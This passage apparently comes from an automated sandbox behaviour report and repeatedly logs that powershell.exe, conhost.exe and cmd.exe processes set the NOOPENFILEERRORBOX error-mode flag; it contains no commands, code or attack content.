      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
